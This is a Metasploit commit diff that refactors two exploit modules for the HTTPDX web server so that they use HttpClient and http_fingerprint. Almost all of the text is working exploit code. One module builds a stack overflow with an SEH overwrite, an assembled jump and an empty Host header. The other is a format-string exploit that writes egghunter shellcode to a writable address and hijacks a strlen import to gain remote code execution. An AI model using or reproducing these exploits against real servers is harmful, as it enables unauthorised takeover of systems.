convert modules to HttpClient, use http_fingerprint
git-svn-id: file:///home/svn/framework3/trunk@9700 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
dffd8c0c97
commit
81cce81969
|
@ -28,7 +28,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::Seh
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -87,29 +87,35 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 08 2009'
|
||||
))
|
||||
end
|
||||
|
||||
register_options( [ Opt::RPORT(80) ], self.class )
|
||||
def auto_target
|
||||
info = http_fingerprint
|
||||
if info and (info =~ /httpdx\/(.*) \(Win32\)/)
|
||||
ver = $1
|
||||
#print_status("HTTPDX version detected : #{ver}")
|
||||
|
||||
# this will need to be updated if httpdx is ever fixed :)
|
||||
case ver
|
||||
when "1.4"
|
||||
return targets[0]
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
if (auto_target)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
sock.put("GET / HTTP/1.0\r\n\r\n")
|
||||
resp = sock.get_once
|
||||
disconnect
|
||||
|
||||
# this will need to be updated if httpdx is ever fixed :)
|
||||
if (resp and (m = resp.match(/Server: httpdx\/(.*) \(Win32\)/))) then
|
||||
print_status("HTTPDX version detected : #{m[1]}")
|
||||
if m[1] =~ /"1\.4"/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect
|
||||
if not auto_target
|
||||
raise RuntimeError, 'The server is not running a vulnerable version of HTTPDX'
|
||||
end
|
||||
|
||||
uri = payload.encoded
|
||||
if target['Offset'] > payload_space
|
||||
|
@ -121,21 +127,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
|
||||
# extra causing hitting end of the stack
|
||||
uri << rand_text_alphanumeric(1024)
|
||||
|
||||
uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)
|
||||
|
||||
sploit = rand_text(3) + "=" + uri
|
||||
request = "GET /" + sploit + " HTTP/1.1\r\n"
|
||||
sploit = '/' + rand_text(3) + '=' + uri
|
||||
|
||||
# an empty host header gives us 512 bytes in the client structure
|
||||
# (client->filereq and client->host)
|
||||
request << "Host: \r\n"
|
||||
request << "\r\n"
|
||||
# (the client->filereq and client->host buffers are adjacement in memory)
|
||||
datastore['VHOST'] = ''
|
||||
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => sploit
|
||||
}, 5)
|
||||
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
sock.put(request)
|
||||
sock.close
|
||||
|
||||
disconnect
|
||||
handler
|
||||
end
|
||||
|
||||
|
|
|
@ -14,7 +14,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Egghunter
|
||||
include Msf::Exploit::FormatString
|
||||
|
||||
|
@ -102,6 +102,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Writable' => 0x64f87810, # empty space in core.dll imports
|
||||
'FlowHook' => 0x64f870e8 # core.dll import for strlen
|
||||
}
|
||||
],
|
||||
|
||||
#
|
||||
# Debugging target
|
||||
#
|
||||
[ 'Debug target',
|
||||
{
|
||||
'PadBytes' => 2,
|
||||
'NumPops' => 22,
|
||||
'Writable' => 0xfeedfed5,
|
||||
'FlowHook' => 0xdeadbeef
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
|
@ -124,28 +136,27 @@ If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
|
|||
For now, that will have to be done manually.
|
||||
|
||||
=end
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
], self.class )
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
|
||||
version = get_version
|
||||
if version
|
||||
print_status("HTTPDX version detected : #{version}")
|
||||
if version =~ /"1\.4"/
|
||||
return Exploit::CheckCode::Appears
|
||||
if (version =~ /1\.4/) or (version == "1.5")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
# an empty host header gives us 512 bytes in the client structure
|
||||
# (the client->filereq and client->host buffers are adjacement in memory)
|
||||
datastore['VHOST'] = ''
|
||||
|
||||
# Use a copy of the target
|
||||
mytarget = target
|
||||
|
||||
|
@ -154,22 +165,21 @@ For now, that will have to be done manually.
|
|||
|
||||
print_status("Automatically detecting the target...")
|
||||
|
||||
version = get_version()
|
||||
version = get_version
|
||||
if not version
|
||||
print_status("No matching target")
|
||||
return
|
||||
raise RuntimeError, 'The remote server is not running HTTPDX'
|
||||
end
|
||||
|
||||
re = Regexp.new(Regexp.escape(version)+' - ', true)
|
||||
self.targets.each do |t|
|
||||
if (t.name =~ /#{version} - /) then
|
||||
if (re.match(t.name))
|
||||
mytarget = t
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if (not mytarget)
|
||||
print_status("No matching target")
|
||||
return
|
||||
raise RuntimeError, 'Unable to automatically detect exploitation parameters'
|
||||
end
|
||||
|
||||
print_status("Selected Target: #{mytarget.name}")
|
||||
|
@ -186,21 +196,12 @@ For now, that will have to be done manually.
|
|||
# use the egghunter!
|
||||
eh_stub, eh_egg = generate_egghunter
|
||||
|
||||
|
||||
# write shellcode to 'writable' (all at once)
|
||||
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
|
||||
fmtbuf = fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
||||
fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
||||
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
|
||||
|
||||
connect
|
||||
request = "GET /"
|
||||
request << fmtbuf
|
||||
request << " HTTP/1.0\r\n"
|
||||
request << "Host: \r\n"
|
||||
request << "\r\n"
|
||||
sock.put(request)
|
||||
disconnect
|
||||
|
||||
send_request_raw({ 'uri' => fmtbuf })
|
||||
|
||||
# write 'writable' addr to flowhook (execute shellcode)
|
||||
# NOTE: the resulting two writes must be done at the same time
|
||||
|
@ -208,17 +209,10 @@ For now, that will have to be done manually.
|
|||
# add payload to the end
|
||||
fmtbuf << eh_egg * 2
|
||||
fmtbuf << payload.encoded
|
||||
fmtbuf = fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
||||
fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
|
||||
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
|
||||
|
||||
connect
|
||||
request = "GET /"
|
||||
request << fmtbuf
|
||||
request << " HTTP/1.0\r\n"
|
||||
request << "Host: \r\n"
|
||||
request << "\r\n"
|
||||
#print_status("\n" + Rex::Text.to_hex_dump(request))
|
||||
sock.put(request)
|
||||
send_request_raw({ 'uri' => fmtbuf })
|
||||
disconnect
|
||||
|
||||
# connect again to trigger shellcode
|
||||
|
@ -232,18 +226,11 @@ For now, that will have to be done manually.
|
|||
|
||||
|
||||
def get_version
|
||||
|
||||
connect
|
||||
sock.put("GET / HTTP/1.0\r\n\r\n")
|
||||
resp = sock.get_once
|
||||
disconnect
|
||||
|
||||
# this will need to be updated if httpdx is ever fixed :)
|
||||
if (resp and (m = resp.match(/Server: httpdx\/(.*) \(Win32\)/))) then
|
||||
return m[1]
|
||||
info = http_fingerprint
|
||||
if info and (info =~ /httpdx\/(.*) \(Win32\)/)
|
||||
return $1
|
||||
end
|
||||
|
||||
return nil
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue